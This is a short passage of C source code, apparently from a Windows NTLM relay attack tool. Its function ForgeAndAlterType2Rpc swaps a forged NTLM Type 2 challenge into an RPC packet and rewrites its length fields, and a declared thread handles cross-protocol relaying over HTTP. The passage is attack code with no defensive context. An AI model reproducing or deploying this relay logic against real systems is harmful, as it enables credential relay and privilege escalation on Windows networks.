| 49 | extern int findNTLMBytes(char* bytes, int len); |
| 50 | extern void DumpHex(const void* data, size_t size); |
| 51 | int ForgeAndAlterType2Rpc(char* rpcType2Packet, int rpcType2PacketLen, int authIndexStart, char* ntlmType2, int ntlmType2Len, char* newRpcType2Packet) { |
| 52 | short* fragLen = (short*)rpcType2Packet + 4; |
| 53 | short* authLen = (short*)rpcType2Packet + 5; |
| 54 | int ntlmPacketLen = rpcType2PacketLen - authIndexStart; |
| 55 | *fragLen = *fragLen - ntlmPacketLen + ntlmType2Len; |
| 56 | *authLen = ntlmType2Len; |
| 57 | memcpy(newRpcType2Packet, rpcType2Packet, authIndexStart); |
| 58 | memcpy(newRpcType2Packet + authIndexStart, ntlmType2, ntlmType2Len); |
| 59 | return (authIndexStart + ntlmType2Len); |
| 60 | } |
| 61 | |
| 62 | DWORD WINAPI ThreadHTTPCrossProtocolRelay(LPVOID lpParam); |
| 63 | struct THREAD_PARAMETERS |